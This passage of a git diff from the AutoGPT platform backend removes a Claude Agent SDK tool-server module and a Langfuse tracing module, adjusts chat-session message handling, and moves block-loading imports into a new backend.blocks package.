-        with open(real_path) as f:
-            lines = f.readlines()
-        selected = lines[offset : offset + limit]
-        content = "".join(selected)
-        return {"content": [{"type": "text", "text": content}], "isError": False}
-    except FileNotFoundError:
-        return {
-            "content": [{"type": "text", "text": f"File not found: {file_path}"}],
-            "isError": True,
-        }
-    except Exception as e:
-        return {
-            "content": [{"type": "text", "text": f"Error reading file: {e}"}],
-            "isError": True,
-        }
-
-
-_READ_TOOL_NAME = "Read"
-_READ_TOOL_DESCRIPTION = (
-    "Read a file from the local filesystem. "
-    "Use offset and limit to read specific line ranges for large files."
-)
-_READ_TOOL_SCHEMA = {
-    "type": "object",
-    "properties": {
-        "file_path": {
-            "type": "string",
-            "description": "The absolute path to the file to read",
-        },
-        "offset": {
-            "type": "integer",
-            "description": "Line number to start reading from (0-indexed). Default: 0",
-        },
-        "limit": {
-            "type": "integer",
-            "description": "Number of lines to read. Default: 2000",
-        },
-    },
-    "required": ["file_path"],
-}
-
-
-# Create the MCP server configuration
-def create_copilot_mcp_server():
-    """Create an in-process MCP server configuration for CoPilot tools.
-
-    This can be passed to ClaudeAgentOptions.mcp_servers.
-
-    Note: The actual SDK MCP server creation depends on the claude-agent-sdk
-    package being available. This function returns the configuration that
-    can be used with the SDK.
-    """
-    try:
-        from claude_agent_sdk import create_sdk_mcp_server, tool
-
-        # Create decorated tool functions
-        sdk_tools = []
-
-        for tool_name, base_tool in TOOL_REGISTRY.items():
-            handler = create_tool_handler(base_tool)
-            decorated = tool(
-                tool_name,
-                base_tool.description,
-                _build_input_schema(base_tool),
-            )(handler)
-            sdk_tools.append(decorated)
-
-        # Add the Read tool so the SDK can read back oversized tool results
-        read_tool = tool(
-            _READ_TOOL_NAME,
-            _READ_TOOL_DESCRIPTION,
-            _READ_TOOL_SCHEMA,
-        )(_read_file_handler)
-        sdk_tools.append(read_tool)
-
-        server = create_sdk_mcp_server(
-            name=MCP_SERVER_NAME,
-            version="1.0.0",
-            tools=sdk_tools,
-        )
-
-        return server
-
-    except ImportError:
-        # Let ImportError propagate so service.py handles the fallback
-        raise
-
-
-# SDK built-in tools allowed within the workspace directory.
-# Security hooks validate that file paths stay within sdk_cwd
-# and that Bash commands are restricted to a safe allowlist.
-_SDK_BUILTIN_TOOLS = ["Read", "Write", "Edit", "Glob", "Grep", "Bash"]
-
-# List of tool names for allowed_tools configuration
-# Include MCP tools, the MCP Read tool for oversized results,
-# and SDK built-in file tools for workspace operations.
-COPILOT_TOOL_NAMES = [
-    *[f"{MCP_TOOL_PREFIX}{name}" for name in TOOL_REGISTRY.keys()],
-    f"{MCP_TOOL_PREFIX}{_READ_TOOL_NAME}",
-    *_SDK_BUILTIN_TOOLS,
-]

autogpt_platform/backend/backend/api/features/chat/sdk/tracing.py

@@ -1,426 +0,0 @@
-"""Langfuse tracing integration for Claude Agent SDK.
-
-This module provides modular, non-invasive observability for SDK sessions.
-All tracing is opt-in (only active when Langfuse credentials are configured)
-and designed to not affect the core execution flow.
-
-Usage:
-    async with TracedSession(session_id, user_id) as tracer:
-        # Your SDK code here
-        tracer.log_user_message(message)
-        async for sdk_msg in client.receive_messages():
-            tracer.log_sdk_message(sdk_msg)
-        tracer.log_result(result_message)
-"""
-
-from __future__ import annotations
-
-import logging
-import time
-from contextlib import asynccontextmanager
-from dataclasses import dataclass, field
-from typing import TYPE_CHECKING, Any
-
-from backend.util.settings import Settings
-
-if TYPE_CHECKING:
-    from claude_agent_sdk import Message, ResultMessage
-
-logger = logging.getLogger(__name__)
-settings = Settings()
-
-
-def _is_langfuse_configured() -> bool:
-    """Check if Langfuse credentials are configured."""
-    return bool(
-        settings.secrets.langfuse_public_key and settings.secrets.langfuse_secret_key
-    )
-
-
-@dataclass
-class ToolSpan:
-    """Tracks a single tool call for tracing."""
-
-    tool_call_id: str
-    tool_name: str
-    input: dict[str, Any]
-    start_time: float = field(default_factory=time.perf_counter)
-    output: str | None = None
-    success: bool = True
-    end_time: float | None = None
-
-
-@dataclass
-class GenerationSpan:
-    """Tracks an LLM generation (text output) for tracing."""
-
-    text: str = ""
-    start_time: float = field(default_factory=time.perf_counter)
-    end_time: float | None = None
-    tool_calls: list[ToolSpan] = field(default_factory=list)
-
-
-class TracedSession:
-    """Context manager for tracing a Claude Agent SDK session with Langfuse.
-
-    Automatically creates a trace with:
-    - Session-level metadata (user_id, session_id)
-    - Generation spans for LLM outputs
-    - Tool call spans with input/output
-    - Token usage and cost (from ResultMessage)
-
-    If Langfuse is not configured, all methods are no-ops.
-    """
-
-    def __init__(
-        self,
-        session_id: str,
-        user_id: str | None = None,
-        system_prompt: str | None = None,
-    ):
-        self.session_id = session_id
-        self.user_id = user_id
-        self.system_prompt = system_prompt
-        self.enabled = _is_langfuse_configured()
-
-        # Internal state
-        self._trace: Any = None
-        self._langfuse: Any = None
-        self._user_message: str | None = None
-        self._generations: list[GenerationSpan] = []
-        self._current_generation: GenerationSpan | None = None
-        self._pending_tools: dict[str, ToolSpan] = {}
-        self._start_time: float = 0
-
-    async def __aenter__(self) -> TracedSession:
-        """Start the trace."""
-        if not self.enabled:
-            return self
-
-        try:
-            from langfuse import get_client
-
-            self._langfuse = get_client()
-            self._start_time = time.perf_counter()
-
-            # Create the root trace
-            self._trace = self._langfuse.trace(
-                name="copilot-sdk-session",
-                session_id=self.session_id,
-                user_id=self.user_id,
-                metadata={
-                    "sdk": "claude-agent-sdk",
-                    "has_system_prompt": bool(self.system_prompt),
-                },
-            )
-            logger.debug(f"[Tracing] Started trace for session {self.session_id}")
-
-        except Exception as e:
-            logger.warning(f"[Tracing] Failed to start trace: {e}")
-            self.enabled = False
-
-        return self
-
-    async def __aexit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None:
-        """End the trace and flush to Langfuse."""
-        if not self.enabled or not self._trace:
-            return
-
-        try:
-            # Finalize any open generation
-            self._finalize_current_generation()
-
-            # Add generations as spans
-            for gen in self._generations:
-                self._trace.span(
-                    name="llm-generation",
-                    start_time=gen.start_time,
-                    end_time=gen.end_time or time.perf_counter(),
-                    output=gen.text[:1000] if gen.text else None,  # Truncate
-                    metadata={"tool_calls": len(gen.tool_calls)},
-                )
-
-                # Add tool calls as nested spans
-                for tool in gen.tool_calls:
-                    self._trace.span(
-                        name=f"tool:{tool.tool_name}",
-                        start_time=tool.start_time,
-                        end_time=tool.end_time or time.perf_counter(),
-                        input=tool.input,
-                        output=tool.output[:500] if tool.output else None,
-                        metadata={
-                            "tool_call_id": tool.tool_call_id,
-                            "success": tool.success,
-                        },
-                    )
-
-            # Update trace with final status
-            status = "error" if exc_type else "success"
-            self._trace.update(
-                output=self._generations[-1].text[:500] if self._generations else None,
-                metadata={"status": status, "num_generations": len(self._generations)},
-            )
-
-            # Flush asynchronously (Langfuse handles this in background)
-            logger.debug(
-                f"[Tracing] Completed trace for session {self.session_id}, "
-                f"{len(self._generations)} generations"
-            )
-
-        except Exception as e:
-            logger.warning(f"[Tracing] Failed to finalize trace: {e}")
-
-    def log_user_message(self, message: str) -> None:
-        """Log the user's input message."""
-        if not self.enabled or not self._trace:
-            return
-
-        self._user_message = message
-        try:
-            self._trace.update(input=message[:1000])
-        except Exception as e:
-            logger.debug(f"[Tracing] Failed to log user message: {e}")
-
-    def log_sdk_message(self, sdk_message: Message) -> None:
-        """Log an SDK message (automatically categorizes by type)."""
-        if not self.enabled:
-            return
-
-        try:
-            from claude_agent_sdk import (
-                AssistantMessage,
-                ResultMessage,
-                TextBlock,
-                ToolResultBlock,
-                ToolUseBlock,
-                UserMessage,
-            )
-
-            if isinstance(sdk_message, AssistantMessage):
-                # Start a new generation if needed
-                if self._current_generation is None:
-                    self._current_generation = GenerationSpan()
-                    self._generations.append(self._current_generation)
-
-                for block in sdk_message.content:
-                    if isinstance(block, TextBlock) and block.text:
-                        self._current_generation.text += block.text
-
-                    elif isinstance(block, ToolUseBlock):
-                        tool_span = ToolSpan(
-                            tool_call_id=block.id,
-                            tool_name=block.name,
-                            input=block.input or {},
-                        )
-                        self._pending_tools[block.id] = tool_span
-                        if self._current_generation:
-                            self._current_generation.tool_calls.append(tool_span)
-
-            elif isinstance(sdk_message, UserMessage):
-                # UserMessage carries tool results
-                content = sdk_message.content
-                blocks = content if isinstance(content, list) else []
-                for block in blocks:
-                    if isinstance(block, ToolResultBlock) and block.tool_use_id:
-                        tool_span = self._pending_tools.get(block.tool_use_id)
-                        if tool_span:
-                            tool_span.end_time = time.perf_counter()
-                            tool_span.success = not (block.is_error or False)
-                            tool_span.output = self._extract_tool_output(block.content)
-
-                # After tool results, finalize current generation
-                # (SDK will start a new AssistantMessage for continuation)
-                self._finalize_current_generation()
-
-            elif isinstance(sdk_message, ResultMessage):
-                self._log_result(sdk_message)
-
-        except Exception as e:
-            logger.debug(f"[Tracing] Failed to log SDK message: {e}")
-
-    def _log_result(self, result: ResultMessage) -> None:
-        """Log the final result with usage and cost."""
-        if not self.enabled or not self._trace:
-            return
-
-        try:
-            # Extract usage info
-            usage = result.usage or {}
-            metadata: dict[str, Any] = {
-                "duration_ms": result.duration_ms,
-                "duration_api_ms": result.duration_api_ms,
-                "num_turns": result.num_turns,
-                "is_error": result.is_error,
-            }
-
-            if result.total_cost_usd is not None:
-                metadata["cost_usd"] = result.total_cost_usd
-
-            if usage:
-                metadata["usage"] = usage
-
-            self._trace.update(metadata=metadata)
-
-            # Log as a generation for proper Langfuse cost/usage tracking
-            if usage or result.total_cost_usd:
-                self._trace.generation(
-                    name="claude-sdk-completion",
-                    model="claude-sonnet-4-20250514",  # SDK default model
-                    usage=(
-                        {
-                            "input": usage.get("input_tokens", 0),
-                            "output": usage.get("output_tokens", 0),
-                            "total": usage.get("input_tokens", 0)
-                            + usage.get("output_tokens", 0),
-                        }
-                        if usage
-                        else None
-                    ),
-                    metadata={"cost_usd": result.total_cost_usd},
-                )
-
-            logger.debug(
-                f"[Tracing] Logged result: {result.num_turns} turns, "
-                f"${result.total_cost_usd:.4f} cost"
-                if result.total_cost_usd
-                else f"[Tracing] Logged result: {result.num_turns} turns"
-            )
-
-        except Exception as e:
-            logger.debug(f"[Tracing] Failed to log result: {e}")
-
-    def _finalize_current_generation(self) -> None:
-        """Mark the current generation as complete."""
-        if self._current_generation:
-            self._current_generation.end_time = time.perf_counter()
-            self._current_generation = None
-
-    @staticmethod
-    def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
-        """Extract string output from tool result content."""
-        if isinstance(content, str):
-            return content
-        if isinstance(content, list):
-            parts = [
-                item.get("text", "") for item in content if item.get("type") == "text"
-            ]
-            return "".join(parts) if parts else str(content)
-        return str(content) if content else ""
-
-
-@asynccontextmanager
-async def traced_session(
-    session_id: str,
-    user_id: str | None = None,
-    system_prompt: str | None = None,
-):
-    """Convenience async context manager for tracing SDK sessions.
-
-    Usage:
-        async with traced_session(session_id, user_id) as tracer:
-            tracer.log_user_message(message)
-            async for msg in client.receive_messages():
-                tracer.log_sdk_message(msg)
-    """
-    tracer = TracedSession(session_id, user_id, system_prompt)
-    async with tracer:
-        yield tracer
-
-
-def create_tracing_hooks(tracer: TracedSession) -> dict[str, Any]:
-    """Create SDK hooks for fine-grained Langfuse tracing.
-
-    These hooks capture precise timing for tool executions and failures
-    that may not be visible in the message stream.
-
-    Designed to be merged with security hooks:
-        hooks = {**security_hooks, **create_tracing_hooks(tracer)}
-
-    Args:
-        tracer: The active TracedSession instance
-
-    Returns:
-        Hooks configuration dict for ClaudeAgentOptions
-    """
-    if not tracer.enabled:
-        return {}
-
-    try:
-        from claude_agent_sdk import HookMatcher
-        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
-
-        async def trace_pre_tool_use(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Record tool start time for accurate duration tracking."""
-            _ = context
-            if not tool_use_id:
-                return {}
-            tool_name = str(input_data.get("tool_name", "unknown"))
-            tool_input = input_data.get("tool_input", {})
-
-            # Record start time in pending tools
-            tracer._pending_tools[tool_use_id] = ToolSpan(
-                tool_call_id=tool_use_id,
-                tool_name=tool_name,
-                input=tool_input if isinstance(tool_input, dict) else {},
-            )
-            return {}
-
-        async def trace_post_tool_use(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Record tool completion for duration calculation."""
-            _ = context
-            if tool_use_id and tool_use_id in tracer._pending_tools:
-                tracer._pending_tools[tool_use_id].end_time = time.perf_counter()
-                tracer._pending_tools[tool_use_id].success = True
-            return {}
-
-        async def trace_post_tool_failure(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Record tool failures for error tracking."""
-            _ = context
-            if tool_use_id and tool_use_id in tracer._pending_tools:
-                tracer._pending_tools[tool_use_id].end_time = time.perf_counter()
-                tracer._pending_tools[tool_use_id].success = False
-                error = input_data.get("error", "Unknown error")
-                tracer._pending_tools[tool_use_id].output = f"ERROR: {error}"
-            return {}
-
-        return {
-            "PreToolUse": [HookMatcher(matcher="*", hooks=[trace_pre_tool_use])],
-            "PostToolUse": [HookMatcher(matcher="*", hooks=[trace_post_tool_use])],
-            "PostToolUseFailure": [
-                HookMatcher(matcher="*", hooks=[trace_post_tool_failure])
-            ],
-        }
-
-    except ImportError:
-        logger.debug("[Tracing] SDK not available for hook-based tracing")
-        return {}
-
-
-def merge_hooks(*hook_dicts: dict[str, Any]) -> dict[str, Any]:
-    """Merge multiple hook configurations into one.
-
-    Combines hook matchers for the same event type, allowing both
-    security and tracing hooks to coexist.
-
-    Usage:
-        combined = merge_hooks(security_hooks, tracing_hooks)
-    """
-    result: dict[str, list[Any]] = {}
-    for hook_dict in hook_dicts:
-        for event_name, matchers in hook_dict.items():
-            if event_name not in result:
-                result[event_name] = []
-            result[event_name].extend(matchers)
-    return result

autogpt_platform/backend/backend/api/features/chat/service.py

@@ -245,16 +245,12 @@ async def _get_system_prompt_template(context: str) -> str:
     return DEFAULT_SYSTEM_PROMPT.format(users_information=context)
 
 
-async def _build_system_prompt(
+async def _build_system_prompt(user_id: str | None) -> tuple[str, Any]:
-    user_id: str | None, has_conversation_history: bool = False
-) -> tuple[str, Any]:
     """Build the full system prompt including business understanding if available.
 
     Args:
-        user_id: The user ID for fetching business understanding.
+        user_id: The user ID for fetching business understanding
-        has_conversation_history: Whether there's existing conversation history.
+                     If "default" and this is the user's first session, will use "onboarding" instead.
-            If True, we don't tell the model to greet/introduce (since they're
-            already in a conversation).
 
     Returns:
         Tuple of (compiled prompt string, business understanding object)
@@ -270,8 +266,6 @@ async def _build_system_prompt(
 
     if understanding:
         context = format_understanding_for_prompt(understanding)
-    elif has_conversation_history:
-        context = "No prior understanding saved yet. Continue the existing conversation naturally."
     else:
         context = "This is the first time you are meeting the user. Greet them and introduce them to the platform"
 
@@ -380,6 +374,7 @@ async def stream_chat_completion(
 
     Raises:
         NotFoundError: If session_id is invalid
+        ValueError: If max_context_messages is exceeded
 
     """
     completion_start = time.monotonic()
@@ -464,9 +459,8 @@ async def stream_chat_completion(
 
     # Generate title for new sessions on first user message (non-blocking)
     # Check: is_user_message, no title yet, and this is the first user message
-    user_messages = [m for m in session.messages if m.role == "user"]
+    if is_user_message and message and not session.title:
-    first_user_msg = message or (user_messages[0].content if user_messages else None)
+        user_messages = [m for m in session.messages if m.role == "user"]
-    if is_user_message and first_user_msg and not session.title:
         if len(user_messages) == 1:
             # First user message - generate title in background
             import asyncio
@@ -474,7 +468,7 @@ async def stream_chat_completion(
             # Capture only the values we need (not the session object) to avoid
             # stale data issues when the main flow modifies the session
             captured_session_id = session_id
-            captured_message = first_user_msg
+            captured_message = message
             captured_user_id = user_id
 
             async def _update_title():
@@ -806,9 +800,13 @@ async def stream_chat_completion(
         # Build the messages list in the correct order
         messages_to_save: list[ChatMessage] = []
 
-        # Add assistant message with tool_calls if any
+        # Add assistant message with tool_calls if any.
+        # Use extend (not assign) to preserve tool_calls already added by
+        # _yield_tool_call for long-running tools.
         if accumulated_tool_calls:
-            assistant_response.tool_calls = accumulated_tool_calls
+            if not assistant_response.tool_calls:
+                assistant_response.tool_calls = []
+            assistant_response.tool_calls.extend(accumulated_tool_calls)
             logger.info(
                 f"Added {len(accumulated_tool_calls)} tool calls to assistant message"
             )
@@ -1239,7 +1237,7 @@ async def _stream_chat_chunks(
 
                 total_time = (time_module.perf_counter() - stream_chunks_start) * 1000
                 logger.info(
-                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time / 1000:.1f}s; "
+                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time/1000:.1f}s; "
                     f"session={session.session_id}, user={session.user_id}",
                     extra={"json_fields": {**log_meta, "total_time_ms": total_time}},
                 )
@@ -1410,13 +1408,9 @@ async def _yield_tool_call(
                 operation_id=operation_id,
             )
 
-            # Save assistant message with tool_call FIRST (required by LLM)
+            # Attach the tool_call to the current turn's assistant message
-            assistant_message = ChatMessage(
+            # (or create one if this is a tool-only response with no text).
-                role="assistant",
+            session.add_tool_call_to_current_turn(tool_calls[yield_idx])
-                content="",
-                tool_calls=[tool_calls[yield_idx]],
-            )
-            session.messages.append(assistant_message)
 
             # Then save pending tool result
             pending_message = ChatMessage(

autogpt_platform/backend/backend/api/features/chat/stream_registry.py

@@ -814,28 +814,6 @@ async def get_active_task_for_session(
                 if task_user_id and user_id != task_user_id:
                     continue
 
-                # Auto-expire stale tasks that exceeded stream_timeout
-                created_at_str = meta.get("created_at", "")
-                if created_at_str:
-                    try:
-                        created_at = datetime.fromisoformat(created_at_str)
-                        age_seconds = (
-                            datetime.now(timezone.utc) - created_at
-                        ).total_seconds()
-                        if age_seconds > config.stream_timeout:
-                            logger.warning(
-                                f"[TASK_LOOKUP] Auto-expiring stale task {task_id[:8]}... "
-                                f"(age={age_seconds:.0f}s > timeout={config.stream_timeout}s)"
-                            )
-                            await mark_task_completed(task_id, "failed")
-                            continue
-                    except (ValueError, TypeError):
-                        pass
-
-                logger.info(
-                    f"[TASK_LOOKUP] Found running task {task_id[:8]}... for session {session_id[:8]}..."
-                )
-
                 # Get the last message ID from Redis Stream
                 stream_key = _get_task_stream_key(task_id)
                 last_id = "0-0"

autogpt_platform/backend/backend/api/features/chat/tools/find_block.py

@@ -13,7 +13,8 @@ from backend.api.features.chat.tools.models import (
     NoResultsResponse,
 )
 from backend.api.features.store.hybrid_search import unified_hybrid_search
-from backend.data.block import BlockType, get_block
+from backend.blocks import get_block
+from backend.blocks._base import BlockType
 
 logger = logging.getLogger(__name__)
 

autogpt_platform/backend/backend/api/features/chat/tools/find_block_test.py

@@ -10,7 +10,7 @@ from backend.api.features.chat.tools.find_block import (
     FindBlockTool,
 )
 from backend.api.features.chat.tools.models import BlockListResponse
-from backend.data.block import BlockType
+from backend.blocks._base import BlockType
 
 from ._test_data import make_session
 

autogpt_platform/backend/backend/api/features/chat/tools/models.py

@@ -335,17 +335,11 @@ class BlockInfoSummary(BaseModel):
     name: str
     description: str
     categories: list[str]
-    input_schema: dict[str, Any] = Field(
+    input_schema: dict[str, Any]
-        default_factory=dict,
+    output_schema: dict[str, Any]
-        description="Full JSON schema for block inputs",
-    )
-    output_schema: dict[str, Any] = Field(
-        default_factory=dict,
-        description="Full JSON schema for block outputs",
-    )
     required_inputs: list[BlockInputFieldInfo] = Field(
         default_factory=list,
-        description="List of input fields for this block",
+        description="List of required input fields for this block",
     )
 
 
@@ -358,7 +352,7 @@ class BlockListResponse(ToolResponseBase):
     query: str
     usage_hint: str = Field(
         default="To execute a block, call run_block with block_id set to the block's "
-        "'id' field and input_data containing the fields listed in required_inputs."
+        "'id' field and input_data containing the required fields from input_schema."
     )
 
 

autogpt_platform/backend/backend/api/features/chat/tools/run_block.py

@@ -12,7 +12,8 @@ from backend.api.features.chat.tools.find_block import (
     COPILOT_EXCLUDED_BLOCK_IDS,
     COPILOT_EXCLUDED_BLOCK_TYPES,
 )
-from backend.data.block import AnyBlockSchema, get_block
+from backend.blocks import get_block
+from backend.blocks._base import AnyBlockSchema
 from backend.data.execution import ExecutionContext
 from backend.data.model import CredentialsFieldInfo, CredentialsMetaInput
 from backend.data.workspace import get_or_create_workspace

autogpt_platform/backend/backend/api/features/chat/tools/run_block_test.py

@@ -6,7 +6,7 @@ import pytest
 
 from backend.api.features.chat.tools.models import ErrorResponse
 from backend.api.features.chat.tools.run_block import RunBlockTool
-from backend.data.block import BlockType
+from backend.blocks._base import BlockType
 
 from ._test_data import make_session
 

autogpt_platform/backend/backend/api/features/library/db.py

@@ -12,12 +12,11 @@ import backend.api.features.store.image_gen as store_image_gen
 import backend.api.features.store.media as store_media
 import backend.data.graph as graph_db
 import backend.data.integrations as integrations_db
-from backend.data.block import BlockInput
 from backend.data.db import transaction
 from backend.data.execution import get_graph_execution
 from backend.data.graph import GraphSettings
 from backend.data.includes import AGENT_PRESET_INCLUDE, library_agent_include
-from backend.data.model import CredentialsMetaInput
+from backend.data.model import CredentialsMetaInput, GraphInput
 from backend.integrations.creds_manager import IntegrationCredentialsManager
 from backend.integrations.webhooks.graph_lifecycle_hooks import (
     on_graph_activate,
@@ -1130,7 +1129,7 @@ async def create_preset_from_graph_execution(
 async def update_preset(
     user_id: str,
     preset_id: str,
-    inputs: Optional[BlockInput] = None,
+    inputs: Optional[GraphInput] = None,
     credentials: Optional[dict[str, CredentialsMetaInput]] = None,
     name: Optional[str] = None,
     description: Optional[str] = None,

autogpt_platform/backend/backend/api/features/library/model.py

@@ -6,9 +6,12 @@ import prisma.enums
 import prisma.models
 import pydantic
 
-from backend.data.block import BlockInput
 from backend.data.graph import GraphModel, GraphSettings, GraphTriggerInfo
-from backend.data.model import CredentialsMetaInput, is_credentials_field_name
+from backend.data.model import (
+    CredentialsMetaInput,
+    GraphInput,
+    is_credentials_field_name,
+)
 from backend.util.json import loads as json_loads
 from backend.util.models import Pagination
 
@@ -323,7 +326,7 @@ class LibraryAgentPresetCreatable(pydantic.BaseModel):
     graph_id: str
     graph_version: int
 
-    inputs: BlockInput
+    inputs: GraphInput
     credentials: dict[str, CredentialsMetaInput]
 
     name: str
@@ -352,7 +355,7 @@ class LibraryAgentPresetUpdatable(pydantic.BaseModel):
     Request model used when updating a preset for a library agent.
     """
 
-    inputs: Optional[BlockInput] = None
+    inputs: Optional[GraphInput] = None
     credentials: Optional[dict[str, CredentialsMetaInput]] = None
 
     name: Optional[str] = None
@@ -395,7 +398,7 @@ class LibraryAgentPreset(LibraryAgentPresetCreatable):
                 "Webhook must be included in AgentPreset query when webhookId is set"
             )
 
-        input_data: BlockInput = {}
+        input_data: GraphInput = {}
         input_credentials: dict[str, CredentialsMetaInput] = {}
 
         for preset_input in preset.InputPresets:

autogpt_platform/backend/backend/api/features/otto/service.py

@@ -5,8 +5,8 @@ from typing import Optional
 import aiohttp
 from fastapi import HTTPException
 
+from backend.blocks import get_block
 from backend.data import graph as graph_db
-from backend.data.block import get_block
 from backend.util.settings import Settings
 
 from .models import ApiResponse, ChatRequest, GraphData

autogpt_platform/backend/backend/api/features/store/content_handlers.py

@@ -152,7 +152,7 @@ class BlockHandler(ContentHandler):
 
     async def get_missing_items(self, batch_size: int) -> list[ContentItem]:
         """Fetch blocks without embeddings."""
-        from backend.data.block import get_blocks
+        from backend.blocks import get_blocks
 
         # Get all available blocks
         all_blocks = get_blocks()
@@ -249,7 +249,7 @@ class BlockHandler(ContentHandler):
 
     async def get_stats(self) -> dict[str, int]:
         """Get statistics about block embedding coverage."""
-        from backend.data.block import get_blocks
+        from backend.blocks import get_blocks
 
         all_blocks = get_blocks()
 

autogpt_platform/backend/backend/api/features/store/content_handlers_test.py

@@ -93,7 +93,7 @@ async def test_block_handler_get_missing_items(mocker):
     mock_existing = []
 
     with patch(
-        "backend.data.block.get_blocks",
+        "backend.blocks.get_blocks",
         return_value=mock_blocks,
     ):
         with patch(
@@ -135,7 +135,7 @@ async def test_block_handler_get_stats(mocker):
     mock_embedded = [{"count": 2}]
 
     with patch(
-        "backend.data.block.get_blocks",
+        "backend.blocks.get_blocks",
         return_value=mock_blocks,
     ):
         with patch(
@@ -327,7 +327,7 @@ async def test_block_handler_handles_missing_attributes():
     mock_blocks = {"block-minimal": mock_block_class}
 
     with patch(
-        "backend.data.block.get_blocks",
+        "backend.blocks.get_blocks",
         return_value=mock_blocks,
     ):
         with patch(
@@ -360,7 +360,7 @@ async def test_block_handler_skips_failed_blocks():
     mock_blocks = {"good-block": good_block, "bad-block": bad_block}
 
     with patch(
-        "backend.data.block.get_blocks",
+        "backend.blocks.get_blocks",
         return_value=mock_blocks,
     ):
         with patch(

autogpt_platform/backend/backend/api/features/store/embeddings.py

@@ -662,7 +662,7 @@ async def cleanup_orphaned_embeddings() -> dict[str, Any]:
                 )
                 current_ids = {row["id"] for row in valid_agents}
             elif content_type == ContentType.BLOCK:
-                from backend.data.block import get_blocks
+                from backend.blocks import get_blocks
 
                 current_ids = set(get_blocks().keys())
             elif content_type == ContentType.DOCUMENTATION:

autogpt_platform/backend/backend/api/features/store/image_gen.py

@@ -7,15 +7,6 @@ from replicate.client import Client as ReplicateClient
 from replicate.exceptions import ReplicateError
 from replicate.helpers import FileOutput
 
-from backend.blocks.ideogram import (
-    AspectRatio,
-    ColorPalettePreset,
-    IdeogramModelBlock,
-    IdeogramModelName,
-    MagicPromptOption,
-    StyleType,
-    UpscaleOption,
-)
 from backend.data.graph import GraphBaseMeta
 from backend.data.model import CredentialsMetaInput, ProviderName
 from backend.integrations.credentials_store import ideogram_credentials
@@ -50,6 +41,16 @@ async def generate_agent_image_v2(graph: GraphBaseMeta | AgentGraph) -> io.Bytes
     if not ideogram_credentials.api_key:
         raise ValueError("Missing Ideogram API key")
 
+    from backend.blocks.ideogram import (
+        AspectRatio,
+        ColorPalettePreset,
+        IdeogramModelBlock,
+        IdeogramModelName,
+        MagicPromptOption,
+        StyleType,
+        UpscaleOption,
+    )
+
     name = graph.name
     description = f"{name} ({graph.description})" if graph.description else name
 

autogpt_platform/backend/backend/api/features/v1.py

@@ -40,10 +40,11 @@ from backend.api.model import (
     UpdateTimezoneRequest,
     UploadFileResponse,
 )
+from backend.blocks import get_block, get_blocks
 from backend.data import execution as execution_db
 from backend.data import graph as graph_db
 from backend.data.auth import api_key as api_key_db
-from backend.data.block import BlockInput, CompletedBlockOutput, get_block, get_blocks
+from backend.data.block import BlockInput, CompletedBlockOutput
 from backend.data.credit import (
     AutoTopUpConfig,
     RefundRequest,

autogpt_platform/backend/backend/blocks/__init__.py

@@ -3,22 +3,19 @@ import logging
 import os
 import re
 from pathlib import Path
-from typing import TYPE_CHECKING, TypeVar
+from typing import Sequence, Type, TypeVar
 
+from backend.blocks._base import AnyBlockSchema, BlockType
 from backend.util.cache import cached
 
 logger = logging.getLogger(__name__)
 
-
-if TYPE_CHECKING:
-    from backend.data.block import Block
-
 T = TypeVar("T")
 
 
 @cached(ttl_seconds=3600)
-def load_all_blocks() -> dict[str, type["Block"]]:
+def load_all_blocks() -> dict[str, type["AnyBlockSchema"]]:
-    from backend.data.block import Block
+    from backend.blocks._base import Block
     from backend.util.settings import Config
 
     # Check if example blocks should be loaded from settings
@@ -50,8 +47,8 @@ def load_all_blocks() -> dict[str, type["Block"]]:
         importlib.import_module(f".{module}", package=__name__)
 
     # Load all Block instances from the available modules
-    available_blocks: dict[str, type["Block"]] = {}
+    available_blocks: dict[str, type["AnyBlockSchema"]] = {}
-    for block_cls in all_subclasses(Block):
+    for block_cls in _all_subclasses(Block):
         class_name = block_cls.__name__
 
         if class_name.endswith("Base"):
@@ -64,7 +61,7 @@ def load_all_blocks() -> dict[str, type["Block"]]:
                 "please name the class with 'Base' at the end"
             )
 
-        block = block_cls.create()
+        block = block_cls()  # pyright: ignore[reportAbstractUsage]
 
         if not isinstance(block.id, str) or len(block.id) != 36:
             raise ValueError(
@@ -105,7 +102,7 @@ def load_all_blocks() -> dict[str, type["Block"]]:
         available_blocks[block.id] = block_cls
 
     # Filter out blocks with incomplete auth configs, e.g. missing OAuth server secrets
-    from backend.data.block import is_block_auth_configured
+    from ._utils import is_block_auth_configured
 
     filtered_blocks = {}
     for block_id, block_cls in available_blocks.items():
@@ -115,11 +112,48 @@ def load_all_blocks() -> dict[str, type["Block"]]:
     return filtered_blocks
 
 
-__all__ = ["load_all_blocks"]
+def _all_subclasses(cls: type[T]) -> list[type[T]]:
-
-
-def all_subclasses(cls: type[T]) -> list[type[T]]:
     subclasses = cls.__subclasses__()
     for subclass in subclasses:
-        subclasses += all_subclasses(subclass)
+        subclasses += _all_subclasses(subclass)
     return subclasses
+
+
+# ============== Block access helper functions ============== #
+
+
+def get_blocks() -> dict[str, Type["AnyBlockSchema"]]:
+    return load_all_blocks()
+
+
+# Note on the return type annotation: https://github.com/microsoft/pyright/issues/10281
+def get_block(block_id: str) -> "AnyBlockSchema | None":
+    cls = get_blocks().get(block_id)
+    return cls() if cls else None
+
+
+@cached(ttl_seconds=3600)
+def get_webhook_block_ids() -> Sequence[str]:
+    return [
+        id
+        for id, B in get_blocks().items()
+        if B().block_type in (BlockType.WEBHOOK, BlockType.WEBHOOK_MANUAL)
+    ]
+
+
+@cached(ttl_seconds=3600)
+def get_io_block_ids() -> Sequence[str]:
+    return [
+        id
+        for id, B in get_blocks().items()
+        if B().block_type in (BlockType.INPUT, BlockType.OUTPUT)
+    ]
+
+
+@cached(ttl_seconds=3600)
+def get_human_in_the_loop_block_ids() -> Sequence[str]:
+    return [
+        id
+        for id, B in get_blocks().items()
+        if B().block_type == BlockType.HUMAN_IN_THE_LOOP
+    ]

autogpt_platform/backend/backend/blocks/_base.py

@@ -0,0 +1,739 @@
+import inspect
+import logging
+from abc import ABC, abstractmethod
